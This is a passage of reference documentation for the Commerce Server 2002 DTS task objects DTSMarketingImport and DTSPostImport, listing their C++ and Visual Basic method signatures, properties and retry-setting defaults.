DTSLogImport.SourceType

DTSLogImport.StartTime


DTSMarketingImport Object [C++]

DTSMarketingImport Object [Visual Basic]

Use this object to import information about ad and discount campaigns. This object should be run from within the context of a Data Transformation Services (DTS)package. The methods and properties should not be accessed directly. For more information about scripting the Campaign data import DTS task, see Scripting the Campaign Data Import DTS Task.

ProgID: | Commerce.DTSMarketingImport (Externally creatable)
COM Class Name: | DTSMarketingImport
Type Library Name: | Microsoft Commerce 2002 Marketing Import DTS Task Type Library
DLL Name: | CSDWDTSMarketingImport.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DTSMarketingImport
Interface ID Constant: | None
Header File: | None

Properties

[C++]
Property | Type | Description
NumRetries | long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is write only.
SourceType | long | Contains the level on which the DTS task will operate. This property is read/write.
[Visual Basic]
Property | Type | Description
NumRetries | Long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | Long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | String | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is write only.
SourceType | Long | Contains the level on which the DTS task will operate. This property is read/write.

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
ParseCampaignDsn | Parses the Campaign data source name (DSN).
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
ParseCampaignDsn | Parses the Campaign data source name (DSN).

See Also

Scripting the Campaign Data Import DTS Task

[C++]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSLogImport Object

DTSPostImport Object

DTSPredictor Object

DTSSynchAdminData Object

DTSTransactionImport Object

DTSUPMCustomTask Object

[Visual Basic]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSLogImport Object

DTSPostImport Object

DTSPredictor Object

DTSSynchAdminData Object

DTSTransactionImport Object

DTSUPMCustomTask Object


_DTSMarketingImport Methods [C++]

DTSMarketingImport Methods [Visual Basic]

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
ParseCampaignDsn | Parses the Campaign data source name (DSN).
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
ParseCampaignDsn | Parses the Campaign data source name (DSN).


_DTSMarketingImport::CustomTask_Execute Method [C++]

DTSMarketingImport.CustomTask_Execute Method [Visual Basic]

Use this method to execute the Data Transformation Services (DTS) task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSMarketingImport::CustomTask_Execute(
 IDispatch* pPackage,
 IDispatch* pPackageEvents,
 IDispatch* pPackageLog
);
[Visual Basic]
Sub CustomTask_Execute(
 pPackage As Object,
 pPackageEvents As Object,
 pPackageLog As Object
)

Parameters

pPackage [C++]
[in] A reference to the Package object that runs the DTS task.
pPackage [Visual Basic]
The Package object that runs the DTS task.
pPackageEvents [C++]
[in] A reference to the events of the Package object.
pPackageEvents [Visual Basic]
The events of the Package object.
pPackageLog [C++]
[in] A reference to a PackageLog object that writes task log records in the database or writes log messages to the log file.
pPackageLog [Visual Basic]
The PackageLog object that writes task log records in the database or writes log messages to the log file.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.


_DTSMarketingImport::ParseCampaignDsn Method [C++]

DTSMarketingImport.ParseCampaignDsn Method [Visual Basic]

Use this method to parse the Campaign data source name (DSN).

Definition

[C++]
HRESULT _DTSMarketingImport::ParseCampaignDsn(
 BSTR sDSN,
 Bool*
);
[Visual Basic]
Sub ParseCampaignDsn(
 sDSN As Sting,
) As Boolean

Parameters

sDSN [C++]
[in] Data source name.
sDSN [Visual Basic]
Data source name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.


_DTSMarketingImport Properties [C++]

DTSMarketingImport Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
NumRetries | long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is write only.
SourceType | long | Contains the level on which the DTS task will operate. This property is read/write.
[Visual Basic]
Property | Type | Description
NumRetries | Long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | Long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | String | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is write only.
SourceType | Long | Contains the level on which the DTS task will operate. This property is read/write.


_DTSMarketingImport::get_NumRetries, put_NumRetries Property [C++]

DTSMarketingImport.NumRetries Property [Visual Basic]

The NumRetries property is a read/write Long that contains the number of retry attempts that will be made after a SQL connection/query failure.

Definition

[C++]

Get method:

HRESULT _DTSMarketingImport::get_NumRetries(
 long NumRetries
);

Put method:

HRESULT _DTSMarketingImport::put_NumRetries(
 long NumRetries
);
[Visual Basic]
Property NumRetries() As Long

Parameters

NumRetries [C++]
[in] When putting the property, a long that contains the number of retry attempts that will be made after a SQL connection/query failure.
[out,retval] When getting the property, a long that contains the number of retry attempts that will be made after a SQL connection/query failure.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the NumRetries property is set to 0, no retry attempt will be made. The minimum number of retry attempts is 0, and the maximum number of retry attempts is 255. The default value is 10.

See Also

Scripting the Campaign Data Import DTS Task

[C++]

_DTSMarketingImport::get_RetryInterval, put_RetryInterval

_DTSMarketingImport;;put_SourceName

_DTSMarketingImport;;get_SourceType, put_SourceType

[Visual Basic]

DTSMarketingImport.RetryInterval

DTSMarketingImport.SourceName

DTSMarketingImport.SourceType


_DTSMarketingImport::get_RetryInterval, put_RetryInterval Property [C++]

DTSMarketingImport.RetryInterval Property [Visual Basic]

The RetryInterval property is a read/write Long that contains the amount of time, in seconds, that will pass between each retry.

Definition

[C++]

Get method:

HRESULT _DTSMarketingImport::get_RetryInterval(
 long RetryInterval
);

Put method:

HRESULT _DTSMarketingImport::put_RetryInterval(
 long RetryInterval
);
[Visual Basic]
Property RetryInterval() As Long

Parameters

RetryInterval [C++]
[in] When putting the property, a long that contains the number of seconds between retry attempts.
[out,retval] When getting the property, a long that contains the number of seconds between retry attempts.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The minimum value that can be assigned to the RetryInterval property is 0, and the maximum value is 3600. The default value is 30.

See Also

Scripting the Campaign Data Import DTS Task

[C++]

_DTSMarketingImport::get_NumRetries, put_NumRetries

_DTSMarketingImport;;put_SourceName

_DTSMarketingImport;;get_SourceType, put_SourceType

[Visual Basic]

DTSMarketingImport.NumRetries

DTSMarketingImport.SourceName

DTSMarketingImport.SourceType


_DTSMarketingImport::put_SourceName Property [C++]

DTSMarketingImport.SourceName Property [Visual Basic]

The SourceName property is a read/write String that contains the name of the Web site or Data Warehouse for which this task is processing data.

Definition

[C++]
HRESULT _DTSMarketingImport::put_SourceName(
 BSTR SourceName
);
[Visual Basic]
Property SourceName() As String

Parameters

SourceName[C++]
[in] When putting the property, a BSTR that contains the name of the Web site or Data Warehouse.
None.[Visual Basic]
[C++]

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Campaign Data Import DTS Task

[C++]

_DTSMarketingImport::get_NumRetries, put_NumRetries

_DTSMarketingImport::get_RetryInterval, put_RetryInterval

_DTSMarketingImport;;get_SourceType, put_SourceType

[Visual Basic]

DTSMarketingImport.NumRetries

DTSMarketingImport.SourceName

DTSMarketingImport.SourceType


_DTSMarketingImport::get_SourceType, put_SourceType Property [C++]

DTSMarketingImport.SourceType Property [Visual Basic]

The SourceType property is a read/write Long that contains the level on which the Data Transformation Services (DTS)task will operate.

Definition

[C++]

Get method:

HRESULT _DTSMarketingImport::get_SourceType(
 long SourceType
);

Put method:

HRESULT _DTSMarketingImport::put_SourceType(
 long SourceType
);
[Visual Basic]
Property SourceType() As Long

Parameters

SourceType[C++]
[in] When putting the property, a long that contains the type of source.
[out, retval] When getting the property, a long that contains the type of source.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the SourceType property is set to srctypeSite (0), the task will operate on the Web site level. If the SourceType property is set to scrtypeDW (1), the task will operate on the Data Warehouse level. The default value is srctypeSite (0).

See Also

Scripting the Campaign Data Import DTS Task

[C++]

_DTSMarketingImport::get_NumRetries, put_NumRetries

_DTSMarketingImport::get_RetryInterval, put_RetryInterval

_DTSMarketingImport;;put_SourceName

[Visual Basic]

DTSMarketingImport.NumRetries

DTSMarketingImport.RetryInterval

DTSMarketingImport.SourceName


DTSPostImport Object [C++]

DTSPostImport Object [Visual Basic]

Use this object to populate OLAP cubes with the data that was imported, prepare the imported data for report generation, and refresh the OLAP cubes after a deletion. This object should be run from within the context of a Data Transformation Services (DTS) package. The methods and properties should not be accessed directly. For more information about scripting the Report Preparation DTS task, see Scripting the Report Preparation DTS Task.

ProgID: | Commerce.DTSPostImport (Externally creatable)
COM Class Name: | DTSPostImport
Type Library Name: | Microsoft Commerce 2002 Post Import Data DTS Task Type Library
DLL Name: | CSDWDTSPostImport.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DTSPostImport
Interface ID Constant: | None
Header File: | None

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Properties

[C++]
Property | Type | Description
CustomTask_Name | BSTR | Contains the descriptive name of the custom task. This property is read/write.
CustomTask_Properties | BSTR | Contains the properties of the custom task. This property is read-only.
MaxParallelOperations | long | Contains the maximum number of parallel operations that can be run at one time. This property is read/write.
NumRetries | long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | long | An enumeration that contains the type of processing, which can be full, refresh data, or incremental. This property is read/write.
RetryInterval | long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Contains the name of the Data Warehouse for which this task is processing data. This property is read/write.
TaskName | BSTR | Contains the name of the DTS task being run. This property is read/write.
[Visual Basic]
Property | Type | Description
CustomTask_Name | String | Contains the descriptive name of the custom task. This property is read/write.
CustomTask_Properties | String | Contains the properties of the custom task. This property is read-only.
MaxParallelOperations | Long | Contains the maximum number of parallel operations that can be run at one time. This property is read/write.
NumRetries | Long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | Long | An enumeration that contains the type of processing, which can be full, refresh data, or incremental. This property is read/write.
RetryInterval | Long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | String | Contains the name of the Data Warehouse for which this task is processing data. This property is read/write.
TaskName | String | Contains the name of the DTS task being run. This property is read/write.

See Also

Scripting the Report Preparation DTS Task

[C++]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSLogImport Object

DTSMarketingImport Object

DTSPredictor Object

DTSSynchAdminData Object

DTSTransactionImport Object

DTSUPMCustomTask Object

[Visual Basic]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSLogImport Object

DTSMarketingImport Object

DTSPredictor Object

DTSSynchAdminData Object

DTSTransactionImport Object

DTSUPMCustomTask Object


_DTSPostImport Methods [C++]

DTSPostImport Methods[Visual Basic]

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.


_DTSPostImport::CustomTask_Execute Method [C++]

DTSPostImport.CustomTask_Execute Method [Visual Basic]

Use this method to execute the Data Transformation Services (DTS) task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSPostImport::CustomTask_Execute(
 IDispatch* pPackage,
 IDispatch* pPackageEvents,
 IDispatch* pPackageLog
);
[Visual Basic]
Sub PostTask_Execute(
 pPackage As Object,
 pPackageEvents As Object,
 pPackageLog As Object
)

Parameters

pPackage [C++]
[in] A reference to the Package object that runs the DTS task.
pPackage [Visual Basic]
The Package object that runs the DTS task.
pPackageEvents [C++]
[in] A reference to the events of the Package object.
pPackageEvents [Visual Basic]
The events of the Package object.
pPackageLog [C++]
[in] A reference to a PackageLog object that writes task log records in the database or log messages to the log file.
pPackageLog [Visual Basic]
The PackageLog object that writes task log records in the database or writes log messages to the log file.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::get_NumRetries, put_NumRetries

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_SourceName, put_SourceName

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.NumRetries

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.ProcessType

DTSPostImport.RetryInterval

DTSPostImport.SourceName

DTSPostImport.TaskName


_DTSPPostImport::PersistPropertyBag_Load Method [C++]

DTSPostImport.PersistPropertyBag_Load Method [Visual Basic]

Use this method to load the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSPostImport::PersistPropertyBag_Load(
 );
[Visual Basic]
Sub PersistPropertyBag_Load(
 )

Parameters

None.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::get_NumRetries, put_NumRetries

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_SourceName, put_SourceName

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.NumRetries

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.ProcessType

DTSPostImport.RetryInterval

DTSPostImport.SourceName

DTSPostImport.TaskName


_DTSPostImport::PersistPropertyBag_Save Method [C++]

DTSPostImport.PersistPropertyBag_Save Method [Visual Basic]

Use this method to save the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSPostImport::PersistPropertyBag_Save(
 );
[Visual Basic]
Sub PersistPropertyBag_Save(
)

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::get_NumRetries, put_NumRetries

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_SourceName, put_SourceName

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.NumRetries

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.ProcessType

DTSPostImport.RetryInterval

DTSPostImport.SourceName

DTSPostImport.TaskName


_DTSPostImport Properties [C++]

DTSPostImport Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
CustomTask_Name | BSTR | Contains the descriptive name of the custom task. This property is read/write.
CustomTask_Properties | BSTR | Contains the properties of the custom task. This property is read-only.
MaxParallelOperations | long | Contains the maximum number of parallel operations that can be run at one time. This property is read/write.
NumRetries | long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | long | An enumeration that contains the type of processing, which can be full, refresh data, or incremental. This property is read/write.
RetryInterval | long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Contains the name of the Data Warehouse for which this task is processing data. This property is read/write.
TaskName | BSTR | Contains the name of the DTS task being run. This property is read/write.
[Visual Basic]
Property | Type | Description
CustomTask_Name | String | Contains the descriptive name of the custom task. This property is read/write.
CustomTask_Properties | String | Contains the properties of the custom task. This property is read-only.
MaxParallelOperations | Long | Contains the maximum number of parallel operations that can be run at one time. This property is read/write.
NumRetries | Long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | Long | An enumeration that contains the type of processing, which can be full, refresh data, or incremental. This property is read/write.
RetryInterval | Long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | String | Contains the name of the Data Warehouse for which this task is processing data. This property is read/write.
TaskName | String | Contains the name of the DTS task being run. This property is read/write.


_DTSPostImport::get_CustomTask_Name, CustomTask_Name Property [C++]

DTSPostImport.CustomTask_Name Property [Visual Basic]

The CustomTask_Name property is a read/write string that contains name of the custom task.

Definition

[C++]

Get method:

HRESULT _DTSPostImport::get_CustomTask_Name(
 BSTR CustomTask_Name
);

Put method:

HRESULT _DTSPostImport::put_CustomTask_Name(
 BSTR CustomTask_Name
);
[Visual Basic]
Property CustomTask_Name() As String

Parameters

CustomTask_Name [C++]
[in] When putting the property, a BSTR that contains name of the custom task.
[out,retval] When getting the property, a BSTR that contains name of the custom task.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_SourceName, put_SourceName

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.ProcessType

DTSPostImport.RetryInterval

DTSPostImport.SourceName

DTSPostImport.TaskName


_DTSPostImport::get_CustomTask_Properties Property [C++]

DTSPostImport.CustomTask_Properties Property [Visual Basic]

The CustomTask_Properties property is a read-only string that contains the property values for the task.

Definition

[C++]

Get method:

HRESULT _DTSPostImport::get_CustomTask_Properties(
 BSTR CustomTask_Properties
);

Put method:

HRESULT _DTSPostImport::put_NumRetries(
 BSTR CustomTask_Properties
);
[Visual Basic]
Property CustomTask_Properties() As String

Parameters

NumRetries [C++]
[in] When putting the property, a BSTR that contains the property values for the task
[out,retval] When getting the property, a BSTR that contains the property values for the task
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_SourceName, put_SourceName

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.ProcessType

DTSPostImport.RetryInterval

DTSPostImport.SourceName

DTSPostImport.TaskName


_DTSPostImport::get_MaxParallelOperations, put_MaxParallelOperations Property [C++]

DTSPostImport.MaxParallelOperations Property [Visual Basic]

The MaxParallelOperations property is a read/write long that contains the maximum number of parallel operations that can be run at one time.

Definition

[C++]

Get method:

HRESULT _DTSPostImport::get_MaxParallelOperations(
 long MaxParallelOperations
);

Put method:

HRESULT _DTSPostImport::put_MaxParallelOperations(
 long MaxParallelOperations
);
[Visual Basic]
Property MaxParallelOperations() As Long

Parameters

NumRetries [C++]
[in] When putting the property, a long that contains the maximum number of parallel operations that can be run at one time.
[out,retval] When getting the property, a long that contains the maximum number of parallel operations that can be run at one time.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_SourceName, put_SourceName

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.ProcessType

DTSPostImport.RetryInterval

DTSPostImport.SourceName

DTSPostImport.TaskName


_DTSPostImport::get_NumRetries, put_NumRetries Property [C++]

DTSPostImport.NumRetries Property [Visual Basic]

The NumRetries property contains the number of retry attempts that will be made after a SQL connection/query failure.

Definition

[C++]

Get method:

HRESULT _DTSPostImport::get_NumRetries(
 long NumRetries
);

Put method:

HRESULT _DTSPostImport::put_NumRetries(
 long NumRetries
);
[Visual Basic]
Property NumRetries() As Long

Parameters

NumRetries [C++]
[in] When putting the property, a long that contains the number of retry attempts that will be made after a SQL connection/query failure.
[out,retval] When getting the property, a long that contains the number of retry attempts that will be made after a SQL connection/query failure.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the NumRetries property is set to 0, no retry attempt will be made. The minimum number of retry attempts is 0, the maximum number of retry attempts is 255. The default value is 10.

See Also

Scripting the Report Preparation DTS Task

[C++]

_DTSPostImport::CustomTask_Execute

_DTSPostImport::PersistPropertyBag_Load

_DTSPostImport::PersistPropertyBag_Save

_DTSPostImport::get_ProcessType, put_ProcessType

_DTSPostImport::get_RetryInterval, put_RetryInterval

_DTSPostImport::get_SourceName, put_SourceName

_DTSPostImport::get_TaskName, put_TaskName

[Visual Basic]

DTSPostImport.CustomTask_Execute

DTSPostImport.PersistPropertyBag_Load

DTSPostImport.PersistPropertyBag_Save

DTSPostImport.ProcessType

DTSPostImport.RetryInterval

DTSPostImport.SourceName

